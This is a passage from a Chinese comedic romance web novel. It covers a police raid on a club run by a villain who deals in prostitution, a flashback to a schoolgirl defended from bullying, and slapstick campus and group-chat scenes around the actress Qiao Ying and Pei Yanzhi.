陶希彤站在四楼的走廊上,和几个穿着光鲜、刚推开包厢门的男人擦肩而过。 透过门缝,能隐约看见里面跪着三四个身上只穿着一小块布料的女人。 香水味混杂着烟臭,顺着门缝飘出来,她胃里突然泛起一阵恶心。 包厢外,这里的人穿着考究,皮鞋蹭亮,言谈举止矜贵有礼。 而包厢内呢?在哄笑声中撕开那层套上的人皮,个个都是衣冠禽兽。 转眼看看四周,这里除了烂得毫无意外的208们,甚至还有几张经常出现在财经杂志上的熟面孔,个个都立过顾家爱老婆的好丈夫人设。 真恶心。 陶希彤指甲掐着掌心,看着前方裴砚知的背影,深深地皱起眉头。 他会不会也是这样的人? 难说,男人的底线一向很低。 一个服务员模样的女人见她直愣愣地站在走廊上,语气不算温和地说:“小妹妹,这不是你该待的地方,快回家吧。” 陶希彤回过神,匆匆道谢。身侧忽然传来一道惊呼。 “你们要干什么!” 这是赵又京的声音。 她大力推开门,赵又京被两个壮汉按在地上,一个瘦弱阴翳的男人拿着红酒瓶往她嘴里灌酒,手掌正要不安分地朝某处摸。 陶希彤抄起服务员手中的托盘砸过去,一声闷响,男人的额角霎时留下一行鲜血。 “我操,谁他妈扔的?” 男人捂着头大吼,周围的几个壮汉立即朝陶希彤围了过来。 服务员叹口气:“小妹妹,你还真是会给我惹事。” 她一把揪住陶希彤的衣领,将她推到一边,几个闪身躲掉壮汉的拳头,陷入缠斗。 陶希彤顺着那股力道溜到了赵又京身旁,脱下衣服替她盖上,拉起她的胳膊就跑。 一回头,却对上了一张近在咫尺的丑脸。 瘦弱男人拿起酒瓶,阴狠地砸了过来。 距离太近,躲不掉了。 陶希彤深吸一口气,转身护住赵又京,头上却没有传来意料之中的疼痛。 她抬起头,看到裴砚知捏住了男人的手腕,三两下便让他脱了臼,任凭他躺在地上嗷嗷叫唤。 包厢里,几个彪形大汉脸上都挂了彩,横七竖八地趴在地上。 战斗力爆表的服务员从兜里抽出对讲机,言简意赅道:“行了,收网吧。” 与此同时。 仍是那个私人包厢,傅司宴正喝着酒,忽然一个电话打来,报告会所里有人打架斗殴。 傅司宴掐灭烟头,恶狠狠地咒骂:“让保镖去解决不就行了,多大点事,老子现在忙得很,别来烦我。” 正如林曌猜测的那样,拍卖会上那瓶酒花光了他大半积蓄,在狐朋狗友的劝说下,傅司宴抱着翻盘的心思去了赌场。 然后不出意外地欠下了几千万的赌债。 傅南明刚被哄好,肯定不能让他知道这事。 为了还债,傅司宴决定从会所的老本行入手,通过沈颐的娱乐圈渠道,连接起了皮肉生意的上下游。 今天阮绵绵的叔叔阮正也在,傅司宴给他物色了个博士生,对方似乎很是满意。 阮正是著名制片人,虽然前段时间被人举报给了国安,但毕竟手握众多爆款综艺,所以台里也只是明面上撤除了他的职位。 而这些爆款综艺中,一档真人秀推理节目口碑尤其好,来的嘉宾都是名校生,在节目里按照剧本装装逼就吸引了一大批学历崇拜的粉丝,从此跻身娱乐圈,连演唱会都开了好几场。 而那个姓赵的博士是他在酒吧里认识的,听说他有门路让自己当嘉宾,想也不想的就来赴约。 傅司宴鄙夷地晃晃酒杯。 也不知道她这脑子是怎么读到博士的。 这种节目都是男的吸粉好不好? 电话又一次响起,傅司宴皱眉接通,不耐烦地啧了一声:“到底有什么事?都说了别烦我,就算天王老子来了———” “砰”的一声,包厢门被踢开,一群穿着制服的人出现在了门外。 傅司宴惊异不定地打量着来人,认出为首的女人正是那天替沈颐斟酒的美女之一。 他大张着嘴,结结巴巴:“你、你不是服务员吗?” “抱歉哈,我是公务员。” 女人亮起一对银手镯,朝他抬抬下巴,“傅司宴,你被逮捕了。” 会所外。 赵又京披着外套,抱住向宁和陶希彤号啕大哭:“我再也不想出名了,好可怕!他们压住我的肩膀,让我跪在地上吃水果,还、还给我灌酒,呜呜呜……” 向宁安抚性地一下一下拍着她的背。 她知道,这时候再去苛责没有任何意义,稳住她的情绪才是最要紧的事。 赵又京的父母匆匆赶到现场,见到女儿后不由分说地扇过去一个巴掌,被裴砚知拦下。 而赵又京则是把向宁薅到面前替她挡着,脸上的感激消失得无影无踪,连声埋怨: “师姐,亏我还这么信任你!你自己一个人来就行了呗,为什么还要告诉我爸妈?现在好了吧?他们要教训我了,都怪你!我宁愿你别来救我!” 向宁的太阳穴一阵抽痛,又碍于导师在现场,不好发作。 陶希彤戏谑地看着两人,猝不及防地给了赵又京一个大嘴巴子,冷声道:“闭嘴吧,巨婴。” 被一巴掌抽懵的赵又京直到上了警车还没回过神,扭过头一个劲的往后面望着。 向宁朝陶希彤竖起大拇指:“还得是你。” 裴砚知也难得鼓起了掌:“很精彩的巴掌。” 男同学愤愤不平:“这都什么人啊,农夫与蛇,东郭先生 与狼,郝建与老太太。” 想到刚刚在走廊上思考的问题,陶希彤直勾勾地盯着裴砚知的眼睛,直球发问:“裴总为什么会有这里的卡?你经常来吗?” “怎么可能。” 裴砚知的眼里闪过明显的厌恶,快速否认。 陶希彤觑着眼睛,分辨他话里的真假。 沉默的氛围里,陆嘉泽待不下去了,拿起钥匙转身去开车。 几个看热闹的住户在会所外拍照,他从人群中间穿过,嘴里哼着歌。 “江湖一笑,浪滔滔。” “哎呦卧槽———” 陆嘉泽脚下一个出溜滑,正好栽倒在一个手机镜头前。 拿手机的大姐忍俊不禁地笑出了声,怼到他脸上拍。 她高声道:“姐妹们看看啊,这就是经常泡会所的男人,看看!眼下发青!四肢虚浮!内外两空!要不得要不得。” 陆嘉泽看着镜头,后知后觉地发现有些不对劲,颤抖着声音问:“姐,你在录像啊?” 第67章 第六十七章 call me,我去干死…… 读博, 哪有不疯的。 因为昨晚的插曲,向宁做了一个晚上的噩梦,第二天头重脚轻地走进了学术会议厅。 一散场, 她跟游魂似的飘了出来。 一路飘到茶歇前,却眼睁睁看着最后一块饼干被别人拿走, 两眼一黑,感觉天都塌了。 “还得沉淀。” 陶希彤抱着一个大书包, 从她身边云淡风轻地路过。 “等等!” 向宁眼疾手快地拉开书包拉链, 果不其然,里面满满当当全是用塑料盒打包好的点心和水果。 她吞了口口水,和陶希彤打商量:“学术大拿,我快饿死了,给我赏点东西吃吃吧。” 陶希彤抬抬眉毛, 看了一眼后方眼皮子抽筋般给她递眼神的导师, 果断拒绝:“不要,我导今年都九十岁了, 一辈子都没吃过好的,我得孝敬她老人家。” “你导不是才四十吗?你老家那边虚岁虚了五十年啊?” 向宁不再跟她废话, 直接掏出了杀手锏:“我有乔缨做实验时的珍贵影像资料, 白大褂戴眼镜,你要不要吧。” “成交。” 在导师三分惊慌三分疑惧四分信任崩塌的眼神里, 陶希彤迅速拿出几个塑料盒摆在她面前,动作快得能去摇花手。 向宁立即给陶希彤发了一个视频, 叉起一颗草莓, 悠悠道:“没骗你吧?” 陶希彤低头看着镜头里那个侧脸,虽然只在角落里出现了几秒,也能明显辨认出那就是乔缨。 她放大画面按帧截图, 头也不抬地问:“你上哪儿得来的视频?” “我表弟和她一起上过实验课,记录反应过程不小心把她拍进去了,最近清相册的时候才发现。” 向宁咬下一口司康饼,表情疑惑地看着陶希彤操作。 正如开头所说,读博哪有不疯的,多多少少都沾点不可告人的小癖好。 譬如向宁自己。 每次听到导师说“毕业这种事咱们不着急慢慢来但一定要快”时,她就爱在宿舍学牛叫。 因为心情就是个草。 再譬如隔壁宿舍的小王。 她一到晚上就化身摇子发泄压力,功夫不负有心人,上周刚凭借一曲青海摇成功秋招上岸拿到了offer,给绝望的粉领子文科生们提供了就业新思路。 据说小王前几天刚提了辆新车,离校时,给PUA自己多年的导师留下了一封潇洒的离别信: “亲爱的导,当你看到这封信的时候,我已经开上库里南了。” “老登,姐们儿提前上岸了,好消息,比你一辈子挣的都多。” 其他还有笑着笑着就去天台、然后笑着笑着又下楼的。 不走楼梯也不搭电梯的那种下楼。 但向宁不理解陶希彤追星。 作为一朵高岭之花,陶希彤是出了名的冷淡疏离,她很难想象陶希彤去乔缨微博底下叫“宝宝”的样子。 向宁摇摇头,又往嘴里塞了块小蛋糕,口齿不清地问:“其实我一直都很好奇,你为啥这么喜欢乔缨呢?就因为她是你高中同学?” 陶希彤笑了笑,指了指自己,问道:“你觉得,我现在看起来怎么样?” 向宁捏捏她手臂上的肌肉,点头称赞:“眼神明亮坚定,体格勇猛有力,举止大方得体,非常好。” “但我高中的时侯,被同学选为班上最丑的人。” 陶希彤找出一张高中时的照片,指着中间那个胖乎乎的女孩说:“这是我刚入学的样子,满脸青春痘,因压力过大而肥胖,灰头土脸,畏畏缩缩。” 那是她第一次去大城市读书。 坐在宽敞明亮的教室里,周围是不认识的新面孔。 她拿出纸笔写着学习计划,忽然听到身后传来了一道极其微小的声音: “好丑。” 是在说她吗? 是在说她。 陶希彤身体骤然一僵,指间攥得发白。 好丑,好胖。 这四个字伴随了她前十几年的人生。 每一次她刚说服自己不要去相信,又会有人重新冒出来提醒,日复一日,无穷无尽,乐此不疲。 从懵懵懂懂的童年,到敏感的少女时期,哪怕她永远是年级第一,也从未摆脱过这些标签,梦魇一般追着她跑。 怎么会不自卑呢? 一直面对着不加掩饰的恶意,她甚至想不通为什么。 陶希彤自欺欺人地捂住了耳朵,将头埋进书本里。 老师发完座位表就被叫走了,教室里讨论声愈发大了起来,几个男生见已经坐满了人,拿出本子神神秘秘捣鼓着什么。 身后爆发出一阵一阵的哄笑,后背被人戳了戳。 陶希彤转过头,看见后座的男生憋着笑,把本子递给了她,视线明晃晃地落在她脸上。 猎奇。 这是她唯一读懂的情绪。 陶希彤皱眉接过本子,低头看清纸上的东西后表情一滞。 纸张被分成左右两栏,一栏是选班丑,一栏是选班花。 班花是一个叫乔缨的女孩,票数多得一骑绝尘。 而班丑那一栏,陶希彤的票数同样碾压,全班一共四十个人,有三十多票都投给了她。 怎么会不自卑呢? 脸上的青春痘微微发痒,沉重的身体如磐石做成的锁链,拖拽着虚弱的灵魂。 她的自尊心比津巴布韦币还廉价。 为什么要这样?这才开学第一天,他们甚至都不了解自己。 陶希彤握着笔,眼泪控制不住地滴落在纸上,晕开一大片墨迹。 不行,不能哭,不能显得她很在意。 那样看起来会更可怜。 指关节的某处陡然泛起酸痛,连呼吸都变得困难起来。 陶希彤压住颤抖的手掌,正要在自己的名字后投上一票时,手指忽然被人轻轻握住。 下一秒,本子被抽走。 众目睽睽下,身旁的女孩站了起来,环视一圈,将撕得粉碎的纸屑扬了一地。 女孩的个子很高,声音很好听,表情嚣张,不屑地说:“一个个长得跟巨人观一样丑到凌霄宝殿,你们还点评上了。” 她看向发起投票的男生,捏着鼻子扇了扇,语气格外嫌弃:“我说教室里怎么有股臭味,原来是你这头猪混进来了。” “我告诉你,你不仅丑,你还下贱,有点良心就别浪费爹妈的钱读书了,你一辈子都是穷屌丝的命。” “你!” 男生攥紧了拳头,脸涨得通红。 “你什么你,没根的阉人,没爹的孬种。” 鸦雀无声的教室里,女孩翻了个白眼,施施然坐下。 陶希彤红着眼睛,呆呆地看着她,一时间忘了动作。 刚劈头盖脸骂完人的女孩转过身,伸出一只手,自顾自地和她握了一下,淡定道:“不用谢,我叫雷锋。” 陶希彤感受着掌心的温度,深吸一口气。 第一次有人像这样维护她。 没有和别人一样,哪怕替自己说话,也总是会补充一句“她可是全校第一”。 仿佛作为一个丑女,她必须要优秀千倍百倍,才能得到和普通人同等的尊重。 也是第一次有人像这样安慰她。 不对,没有安慰,全是诋毁,一张嘴跟机关枪似的对着座位表一排一排扫射。 说到最后,女孩莫名其妙就燃起来了,语气坚定地说:“以后谁再敢来惹你,call me,我去干死他。” 窗外的阳光照了进来,世界倾倒在女孩眼底,融化成一片一片的云朵。 那一秒,陶希彤身上一轻,恍惚间听到有锁链断裂的声音。 那场持续了十几年的、曾带给她无尽潮湿的漫长雨季,在十年前的盛夏,就这样被一个如飓风般席卷而来的少女,轻易地吹散了。 “所以那个女孩就是乔缨?” 向宁吃惊地张大了嘴,喟叹道:“天呐,我都快听哭了,这谁能不爱上?” 年少时遇见过这样的人,大概一辈子都忘不了。 写进救赎文里都能配个“灵柩长埋深谷底”的bgm,妥妥的青春疼痛风味。 “后来我们成了朋友,但因为乔缨的外形太出众,逐渐有谣言出现,还被传得很难听。” 陶希彤耸耸肩,“说她就是故意找个丑女当朋友,想让我来衬托她。” “之后呢?你相信了吗?” 向宁好奇地瞪大眼睛。 “后来乔缨直接找到了传谣的那群人,嘴跟淬了毒一样,说———” 陶希彤清清嗓子,学着乔缨的语气:“咳———我要是真想找个丑八怪来衬托自己,也该找你们呀,全校最丑的就是你们,又丑又挫,人品稀烂,你们别活了,趁早找棵歪脖子树吊死重开吧。” “牛,舔一下嘴唇会中毒的程度。” 向宁竖起大拇指,忽然想到了某条新闻,恍然大悟道:“难怪有人爆料她高中的时候搞霸凌,原来是恶人先告状啊。” 陶希彤点点头,“所以你懂了吧?只要她不违法犯罪,我就能一直溺爱下去。” “那她要是谈恋爱呢?裴砚知和她传过绯闻吧?不过裴总人也特别好,他们还挺……” 向宁对于追星族的禁忌话题一无所知,看着陶希彤越来越黑的脸色,音量逐渐小了下去。 经过昨天的事,陶希彤对裴砚知确实改观了一点,但也仅仅只有一点而已。 她尝试着去说服自己,破罐子破摔道:“算了,总比沈颐好。” — 乔缨在科大的访客名单上签好字,顺着大道走了进去。 一群像是在拍短视频的男生看到她后眼睛一亮,立马围了过来。 其中一位红发男子拿着采访的话筒,十分突兀地开始搭讪:“嘿,小姐姐,你很像我的一个亲戚。” 亲戚? 难不成是乔俞诚派来的? 乔缨往上拉拉口罩,露出一个疑问的眼神,往后警惕地退了退。 红发男还以为自己的搭讪技能有效果,手指比心逼近几步,自信一笑:“你像我妈的儿媳妇。” 乔缨:“?” 不是,哥们儿,你有病吧? “小哥哥,你也很像我的一个亲戚。” 她拨开人群,伸出一根中指,微笑道:“像我妈的孙子。” 红发男见她要走,连忙拦住,拱手温声地说:“姑娘请留步!小生不才,未得姑娘青睐,扰姑娘良久,望姑娘莫怪,只愿姑娘余生安好,臣退了,这一退就是一辈子……” 服了。 谁家古风男友? 作为一名老戏骨,乔缨大方接招,遮住一只眼睛,摇头苦笑起来: “呐呐呐,三次元的巴嘎,这个世界已经抛弃我了吗?呐……为什么连你也逃避我……soga……你终究,不是我的蕾姆呢……” 人群里当场就有人绷不住了,小声道:“姐,你也不是我的电公。” 红发男立即发出一声尖锐而短促的鸡叫。 要知道,憋笑这种事,只要有一个人没憋住,那就完了。 此起彼伏的猪叫声里,一群人在天地一白的背景中,一会儿排成“人”字,一会儿排成“大”字,脸涨得通红。 晃眼一看,像雪地里站了一堆关公。 少年的脸红胜过一切情话了这下。 脸上毫无波澜的乔缨负手离去,只留下一个无敌的背影。 老弟,还得沉淀。 主干道上立着一块优秀校友墙,乔缨瞥到一张熟悉的脸,停下脚步凑了上去。 在一堆现实版商界大佬的照片里,裴砚知帅得很不现实,格外醒目。 她双手抱臂凝视着那张照片。 应该是大学的时候拍摄的,看起来比现在年轻一点,很明显还没有染上班味。 长相倒是没变,一张臭拽臭拽的冷脸,给人一种生人勿近熟人更是滚开的感觉。 可一想到自己顶着这张脸都干了些什么缺德事,乔缨就忍不住笑出声来。 她隔着一层玻璃摸了摸照片,一道阴影罩了下来。 乔缨茫然仰头,一张和照片里别无二致的脸倒着出现在了瞳孔里。 裴砚知的声音宛如天外传音般响了起来:“好看吗?” 第68章 第六十八章 谁给我男神调成这样了?…… “噫吁嚱, 吓得小女子一命呜呼。” 乔缨伸出手指把他脑袋戳远一点,“公子怎么跟天外来音一样,小女子还以为是天灵盖在说话呢。” 今天又吃错什么药了? 裴砚知扯扯嘴角, “你好痞,有点像古风美女, 我愿称之为痞古。” 乔缨转身,扫了他一眼。 宽肩窄腰大长腿被包裹在大衣里, 上半身还穿着一件传闻中的黑色高领毛衣。 色吗? 不觉得, 只是花开的正艳,她不欣赏倒显得不解风情了。 “公子容颜甚好。” 乔缨捂嘴假装羞涩地问:“汝之腹肌可否与小女子一见?” “可以啊,要是我被冻晕了,记得替我打120。” 裴砚知说罢就要撩起上衣,先前那排雪地里的关公飞奔而过, 吓得乔缨赶紧把他拉到告示牌后面躲起来。 她扯过大衣把人包住, 难以置信地说:“你这也太随便了,说看就看啊?” 不愧是东北孩子, 露个腹肌都大大方方的。 “帮你祛魅罢了。冷知识,当你摸一个男人的腹肌时, 你离他的屎只有两厘米。” 裴砚知放下衣摆, 一本正经地说:“接吻,就相当于你在吸一个另一头是屎的吸管。” “啊啊啊啊啊你闭嘴!” 乔缨瞳孔地震, 惊恐地用手去捂裴砚知的嘴,然后不知道想到了什么, 又飞快地把手放了下去。 她盯着那只手掌喃喃自语:“那是不是, 我握过的每只手都擦过屎?” 裴砚知缓缓上扬的唇角陡然僵住。 正好路过一群人,几个青春靓丽的女大学生被这段发言吓了一跳,震惊地看着两人。 这对吗? 这不对吧? 你俩长成这幅尊容, 应该谈点风花雪月的事,而不是这些屎尿屁吧? 其中一个人认出裴砚知的身份,迟疑地和他打招呼:“学长……好。” 她伸出一只手,刚要和裴砚知握上,脑海里突然又响起了乔缨那句振聋发聩的话,手指尴尬地蜷缩起来。 最终,她像是下定了某种决心,用拳头和裴砚知碰了碰,表情复杂地说:“饭是屎的小时候,学长你长这么高,也是不容易哈。” 在众人直勾勾的注视下,裴砚知挺了一辈子的腰,终于弯下去一点点。 他僵硬着脸,一步一步慢慢往后挪动,直至身影完全被草丛挡住。 看着他像吃了屎一样的表情,乔缨笑出了眼泪,幸灾乐祸道:“踩到鸡屎了就去梯坎上刮一下。” 裴砚知神情木然地控诉:“你倒是戴着口罩,留我一个人在这里丢脸。” “你们学校的学生还真是挺热情的。” 乔缨好心地给他递过去一只口罩,“我在找去实验剧场的路,随机问了三个人,仨人给我指了仨方向。” 不知道的还以为她问的是故宫在哪呢,搁这一个指台北,一个指沈阳,一个指北京的。 “实验剧场?就在湖对面。” 裴砚知示意不远处的某栋建筑,状似不经意地问:“你是来找谁的吗?” 乔缨老实巴交地答:“对啊,来找我朋友。” “是那个十周年纪念日的朋友?” 裴砚知的眉头微不可见地往下压了压,直视着乔缨。 为了掩饰某种不愿被对方发现的情绪,他甚至还诡异地笑了一下,温柔里带着一丝咬牙切齿:“你们看起来关系很好的样子,以前怎么没听你提过呢?” 冷风灌进领口,乔缨脖子一凉,恍然间好像抓住了空气中流动着的某种微妙气氛。 可那转瞬即逝的感觉太过浅淡,她觑着眼睛,奇怪地审视着面前的男人。 然后啥都没看出来。 还是那张冰山面瘫脸,冷冷的,很安心。 乔缨挥去了脑子里的念头,不在意道:“我也没跟她提过你啊,但不妨碍你们都是我的翅膀。” 她低头看了一眼时间,晃晃手中的礼物袋,匆匆告别:“哎哟,我先走了啊,彤彤还在等我呢。” 彤彤? 叫得这么亲密?还送礼物? 可他这个要过生日的人至今连个礼物的影子都没见到。 无形之中又被戳中了几刀,偏偏罪魁祸首浑然不觉,转身欲走。 裴砚知只来得及抓住她的衣角,直截了当地问:“你跨年夜有安排吗?” 乔缨懵然点头:“有啊。” 听到这个回答,裴砚知肉眼可见的低沉下来。 “那天你不是过生日吗?” 乔缨瞪大眼睛,忽然上前几步抓住他的衣领,语气不悦地逼问:“喂,难道你没打算邀请我去你家玩?那我这段时间掰着手指数日子算什么?” “算你手指多。” 阴郁的心情被一扫而空,裴砚知替她擦去头发上沾的雪,咳了一声:“那说好了,后天,我在家等你,不见不散。” “不见不散!” 乔缨笑了笑,转身跑开,在道路尽头朝他挥挥手,用《大地飞歌》最后一个“嘿”的语气喊出这句话。 欢快,高亢。 成年人的承诺太过轻飘飘,所以要说得格外掷地有声才行。 “别跑了,慢点!” 裴砚知回以同样的动作,傻里傻气,又很鲜活。 他很少有扯着嗓子喊话的时刻,以至于有些破音,路上的人纷纷侧头,只能看到他脸上溢满的笑意。 众人咋舌:“我勒个冰雪消融啊。” 谁给我男神调成这样了? — 科大的各个社团都在忙着准备跨年晚会的彩排,乔缨站在实验剧场的门外,淹没在乌泱泱的人群中。 不夸张地说,往这儿一站,一张嘴她能吃十个人,让七步蛇咬一口都能活半年。 陶希彤站在石柱下,打眼就看到一个鬼鬼祟祟的人,站在眼神清澈的学生堆里,显得偷感尤为强烈。 “你到底要偷什么?” 她走过去精准地抓住乔缨的手腕,穿过人群来到走廊。 “你的心。” 乔缨一歪嘴,手指比心,做作地wink了一下。 陶希彤哑然失笑,多年未见的尴尬感迅速消失得无影无踪。 手中被塞了一个礼物袋,她举起来端详了一圈,疑惑道:“这是什么?” “我记得你很喜欢腕表,待会儿戴上去试试吧。” 乔缨新奇地打量着建筑内部,感叹道不愧是顶级学府,连剧场都这么高级。 不远处忽然一阵骚动,一群人携带着各种乐器走了进来。 偏厅的小型舞台上放着设备,看背景墙上贴着的海报,这应该是一支由科大学生组成的乐队。 一阵劲爆的音乐响起,现场气氛十分热烈,人群逐渐围拢聚集,乔缨拉着陶希彤过去凑热闹。 向宁站在第一排朝两人招招手,兴奋地喊道:“我抢到了座位,快来!” 干冰做成的烟雾喷出,空中飘洒着金箔彩纸。 乔缨坐在第一排,摘下口罩,仰头打了个哈欠,一张金箔纸不偏不倚刚好黏在她鼻子下方。 她摸摸下巴沉思道:“咦,怎么感觉人中痒痒的?” 舞台上的主唱正唱得兴起,一段E6高音飙得跟公鸡打鸣一样,一听就是真唱。 他陶醉地看了一眼台下,正好看到乔缨呲牙咧嘴地和金箔纸搏斗,高音瞬间劈了叉。 “噗”的一下,发出一道华丽而响亮的屁声。 因为是彩排,观众们对乐队的要求不高,现场的人也大都是乐队成员的朋友。 为了化解尴尬,不少人开玩笑似的站起来,对主唱大声喊道:“还可以再高一点吗?给我一个震碎世界的高音!” 可经过这一吼,本就紧张的主唱更是雪上加霜,大脑一片空白,忘词了。 舞台经验较为丰富的他立马机智地放下话筒,和台下热情互动:“强音在哪里?” 向宁听罢一愣,思考半秒后果断举起乔缨的左手,大声回答道:“乔缨在这里!” 乔缨:“?” 不是,姐妹?你要干嘛? 主唱十分有眼力见,看乔缨人气这么高,便作势邀请她上台和他们一起唱。 乔缨惊慌失措地戴上口罩,连连摆手拒绝:“这个我真唱不了!” 主唱两眼一瞪,震惊不已:“什么?你还要上《歌手》?!” 你大爷的,这都什么听力啊? 耳朵不要就捐了吧! 乔缨眼前一黑,崩溃了,红温了,脸涨得通红,身体被风吹得东倒西歪,摇摇欲坠,看起来快要碎了。 虽然她一直很有自信。 但真要她上台唱歌,对台下群众的杀伤力,不亚于空投一颗原子弹啊喂! 乔缨扶额苦笑,痛苦地闭了闭眼。 她破罐子破摔般朝主唱嚎了一嗓子:“我吃了很多豆子,我要出虚恭了!” 主唱激动坏了,握住乔缨的手半推半就地把她拉到台上,神情中带着满满的敬意,道:“你练了很多曲子,就快要出道成功了?!” 乔缨脸上的痛苦不似作假,人群里响起一阵窃窃私语:“碎碎她吧,她看起来要饱了。” 慌乱之中,她的棒球帽不知道勾到了谁的手,不小心掉落在地上。 一头长卷发在风中披散开来,如云似雾,仙气飘飘,也是在舞台上惊艳亮相了一把。 好好好,这么玩儿是吧? 今天在场的人都别想活了! 乔缨站定,大大方方向台下挥手打招呼,然后咬牙切齿、皮笑肉不笑地向身边的主唱伸出一只手。 主唱被吓得一激灵,两眼呆愣着,下意识就十分顺从地把话筒递了过来。 她清清嗓子,面带微笑,眼里充满着没必要的自信,问:“你们要我唱什么?” 乐队成员商量了一下,建议道:“那就网○云年度歌单排名第一的歌吧,小姐姐可以开原唱。” 排名第一? 乔缨瞳孔一震,迟疑地问:“你们确定?” 众人点点头。 此时此刻,一直沉浸在震惊中的陶希彤才回过神来,发出一道振聋发聩的呐喊:“你连她都敢邀请上台,你不要命了?” 而舞台上的乔缨歪嘴一笑,一把摘下口罩,邪魅道:“百灵鸟来了,谁敢听?” 在她的脸暴露出来后,现场立马响起了几道惊呼声: “同志们,这不是演习,快捂住耳朵,别怪我没提醒你们!” “老天奶,早知道是乔缨,我就把降噪耳机带来了。” “不是,你们怎么还不跑?胆子都这么大的吗?” 众人听罢,两股战战,几欲先走。 然而一切都已经来不及了。 如同恐怖电影里的慢镜头一般,乔缨缓缓点开年度歌单里那首一年听了3678次的歌曲。 一道哀怨惆怅的背景音,配着没一个字在调上的死亡歌喉,从话筒里缓缓流淌而出,绕梁三日: “正月里,正月正,家家门前挂红灯~” “小寡妇门前无灯挂呀,伤心的啊,只好灵前哭亲人哪~” “死鬼呀~” …… 主唱捂着耳朵无声尖叫。 姐,你也没说你歌单第一名是《小 寡妇上坟》啊! 乔缨越唱越投入,感觉十分良好,一曲唱毕,甚至还想来第二首。 台下的人受不了了: “我死的时候,让乔缨来一趟,把我招回来。” “这是跨年晚会,不是通灵之战。” “你不是乔缨,你是破锣嗓音,好好休息,唱歌的事我另有人选!” “服了,隔壁教室有人问我们是不是在杀猪。” 太过分了! 孩子乐意咋唱就咋唱呗! 陶希彤捂着耳朵,嘴硬反驳:“很好听啊,这是实验音乐,你们不懂。” “抛开事实不谈,乔缨身上的自信和从容难道不吸引人吗?” “算了欣赏不来是你们品味有问题,粉丝别来加我了,不扩列,同担拒否。” 有人忍无可忍,开始发癫:“快哉快哉,今日听君歌一曲,谪居卧病浔阳城,霍哈哈哈,人间竟有如此仙曲!我应在江湖悠悠……” 现场的人笑得东倒西歪,捧着肚子倒了一大片的人。 一个大哥捂着耳朵大声惨叫:“什么百灵鸟,我看是百草枯!” 作为始作俑者,向宁有些心虚,又听不得别人对乔缨的诋毁。 她堵着耳朵,转头就和那人呛声道:“服了恶意怎么都那么大,换你来唱未必有她难听!” 第69章 第六十九章 讨伐型人格她还是第一次见…… 乔缨又火了。 一段街头搭讪视频, 一段《小寡妇上坟》演唱片段,挂在各大平台的热搜上被网友笑了一天一夜。 陈意芝在电话那头仰天长叹:“你……我……唉……这下跨年晚会更没人找你了,咋整?” “谁说的, 那谁和那谁谁,不也五音不全, 演唱会都开起来卖门票割粉丝韭菜了。” 乔缨不以为意,一条一条翻着妙语连珠的评论区:“喏, 有个粉丝说她把胆结石笑出来了, 让我余生请多多全开麦,她胆囊里还有五颗。” “你还挺骄傲是吧?” 陈意芝扶额,发现听筒里响起一阵嘈杂的声音,诧异地问:“你在干什么?” “搬家啊。” 乔缨打了个哈欠,搬家公司的员工小心翼翼打包着她的古董娃娃柜, 放眼望去, 整个房子只剩下了必要的家具和电器,显得空空荡荡的。 从横店回到京市后, 她抽空看了好几处的豪宅,三天领回来7袋大米和4桶油, 看来看去, 还是最中意棠溪湾的大别野。 付全款的时候,中介脸都笑烂了, 恨不得把她当财神供起来。 陈意芝对她的行动力表示惊讶,嘱咐了一句:“两天后恋综可就开拍了啊, 虽然咱们拿了炮灰剧本, 但也别演得太过分了。” 这次恋综将以直播先导版和后期剪辑版并行的方式播出,主捧阮绵绵和沈颐,其余都是陪衬。 用脚后跟的皲都能想得到, 这两个皇族为了节目效果和洗白黑料,一定会黏着乔缨不放,搞些恶心人的操作。 如今阮正被抓,新制片人以前是做情感调解栏目的,说不定还会在最后一期给他们仨加一个强行和解的环节。 配点催泪的音效,然后高喊一句:“大家一起~包饺砸~” 真是想想就恶心,对乳腺一点都不友好。 听到陈意芝的担忧,乔缨跟没事儿人一样,反而安抚她道:“没事,包的时候我给他俩饺子里掺点屎就成。” 相识多年,陈意芝深知乔缨说的绝不是句玩笑话,有屎,她是真的会掺。 陈意芝沉默半晌,道:“那你记得悄悄掺,至少背着镜头掺。” 乔缨失笑。 挂断电话,把最后一个打包箱搬上大卡车后,她拿着刚打印好的租房广告去了物业,没想到在半路上碰到了一个意想不到的人。 被裴砚知下棋下进医院的老喆此刻正蔫蔫地坐在石桌前,一圈人站在一旁拍着他的肩膀,像是在安慰。 听说这次社区围棋赛老喆又是一轮游,他这人惯爱拉帮结派,在围棋协会也颇有人脉,自然一堆人来巴结讨好。 嘴歪眼斜的林大爷对着通报上本届冠军的名字唾了一口,谄媚道:“没你爆他。” 贼眉鼠眼的刘大爷也笑了起来,伸出五根粗粗短短的手指遮在脸上,看起来像是去偷鸡的。 面对此情此景,乔缨想了想,自己毕竟要离开这个小区了,还是得跟邻居们好好道别才是。 她不顾刘大爷杀人般的眼神,大剌剌地站在石桌前,朝老喆比了一个握拳的手势:“加油老喆,男人至死是少年,少年不缺从头头头头再来的勇气!” “你!你!” 老喆那张宛如稻香村牛舌饼的脸迅速涨红,而愤怒的五官则如同饼上撒的芝麻一样,胡乱排布,扭曲变形。 经过上次和刘大爷的追逐战,乔缨一夜成名,现在没有一个人敢上前拦她,纷纷杵在原地,敢怒不敢言。 而乔缨则是奇怪地扫了他们一眼,一排臭老头气鼓鼓地瞪着自己,感觉下一秒就要冲上来碰瓷了。 她捏着广告单飞速从他们面前溜走,生怕被谁给讹上。 小李坐在物业办公室里,看见乔缨后神色一僵,然后挤出一个比哭还难看的笑。 “姐,业主群里又在闹腾了。” 小李唉声叹气。 乔缨不明所以地掏出手机,几个闹事头像的人在群里疯狂@自己,一打开微信就是99+的群消息。 【2116家有神兽:楼上WIFI能不能别24小时开着啊,辐射到我家孩子出问题了我要来找你算账的!】 【2101不吃香菜:对,还有车库的黑色机车也是她的吧?能不能挪一下,天天占着位置不动,烦死了!】 【2203贺先森的小菇凉:就是就是,这家是个年青人吧?我老公是公务员,我家孩子在她家门口玩,尽然被蚊子叮了两个包!还有没有公德心!】 【2203贺先森的小菇凉:我老公是公务员,目前已经给相关部门打过电话了!】 【2203贺先森的小菇凉:我们不闹事但也不怕事!我老公是公务员,一定会找她讨个说法!】 “有趣。” 乔缨看完嘴角一抽,没想到居然有人找茬找到她头上,开始活动起手指,重拳出击。 【Dioretsa:@家有神兽 好的,我这就把WIFI名改成“第六代核动力超强辐射穿墙打胎王中王”。】 【Dioretsa:@不吃香菜 好的,下次停你老公直肠里。】 【Dioretsa:@贺先森的小菇凉 好的,其实那不是蚊子包,是肿瘤,你家孩子要死啦,节哀!】 